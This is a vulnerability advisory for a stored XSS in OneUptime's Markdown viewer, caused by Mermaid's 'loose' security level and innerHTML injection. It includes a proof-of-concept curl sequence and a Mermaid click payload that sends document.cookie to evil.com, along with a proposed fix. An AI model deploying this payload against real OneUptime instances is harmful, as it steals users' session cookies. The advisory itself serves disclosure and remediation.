High

OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: "loose")

  • Disclosed: 13.03.2026
  • Updated: 11.10.2026 10:22

Summary

The Markdown viewer component renders Mermaid diagrams with securityLevel: "loose" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable.

Details

Mermaid configuration — Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76:

ts
// MarkdownViewer.tsx:76
mermaid.initialize({
    securityLevel: "loose",  // Allows interactive event bindings
    // ...
});

The Mermaid documentation explicitly warns: securityLevel: "loose" allows click events and other interactive bindings in diagrams. The safe default is "strict" which strips all interactivity.

SVG injection via innerHTML — MarkdownViewer.tsx:106:

ts
// MarkdownViewer.tsx:106
if (containerRef.current) {
    containerRef.current.innerHTML = svg;  // Raw SVG injection
}

After Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via innerHTML. Combined with securityLevel: "loose", this allows event handlers embedded in the SVG to execute.

Mermaid XSS payload:

markdown
```mermaid
graph TD
    A["Click me"]
    click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)"
```​

With securityLevel: "loose", Mermaid processes the click directive and creates an SVG element with an event handler that executes the JavaScript.

PoC

bash
# Authenticate
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
  -H 'Content-Type: application/json' \
  -d '{"email":"user@example.com","password":"password123"}' \
  | jq -r '.token')

# Create an incident note with Mermaid XSS payload
curl -s -X POST 'https://TARGET/api/incident-note' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{
    "data": {
      "incidentId": "INCIDENT_ID",
      "note": "## Root Cause Analysis\n\n```mermaid\ngraph TD\n    A[\"Load Balancer\"] --> B[\"App Server\"]\n    click A callback \"javascript:fetch('"'"'https://evil.com/?c='"'"'+document.cookie)\"\n```",
      "noteType": "RootCause"
    }
  }'

# Any user viewing this incident note will have their cookies exfiltrated
bash
# Verify the vulnerability in source code:

# 1. securityLevel: "loose":
grep -n 'securityLevel' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx
# Line 76: securityLevel: "loose"

# 2. innerHTML injection:
grep -n 'innerHTML' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx
# Line 106: containerRef.current.innerHTML = svg

Impact

Stored XSS in any markdown-rendered field. Affects:

  1. Incident notes/descriptions — viewed by on-call engineers during incidents
  2. Status page announcements — viewed by public visitors
  3. Monitor descriptions — viewed by team members
  4. Any markdown field — the MarkdownViewer component is shared across the UI

The "loose" security level combined with innerHTML injection allows arbitrary JavaScript execution in the context of the OneUptime application.

Proposed Fix

ts
// 1. Change securityLevel to "strict" (default safe mode):
mermaid.initialize({
    securityLevel: "strict",  // Strips all interactive bindings
    // ...
});

// 2. Use DOMPurify on the SVG output before innerHTML injection:
import DOMPurify from "dompurify";

if (containerRef.current) {
    containerRef.current.innerHTML = DOMPurify.sanitize(svg, {
        USE_PROFILES: { svg: true, svgFilters: true },
        ADD_TAGS: ['foreignObject'],
    });
}

Affected software

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PlatformPackageVulnerable versionsFixed in
npm package oneuptime < 10.0.23 10.0.23

References

CVSS score 7.6/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Weakness (CWE)
CWE-79
Platform
npm
Package
oneuptime
Disclosed
13.03.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-wvh5-6vjm-23qh - CC BY 4.0

Vulnerability history: oneuptime

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
5
First → latest
03.2026 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 3
  • Medium 1

Disclosures per year

  1. 2026: 5
  1. High CVE-2026-33143 < 10.0.34 10.0.34
  2. Medium CVE-2026-32598 < 10.0.23 10.0.23
  3. OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: "loose") this entry
    High · 7.6 CVE-2026-32308 < 10.0.23 10.0.23
  4. Critical · 9.9 CVE-2026-32306 < 10.0.23 10.0.23

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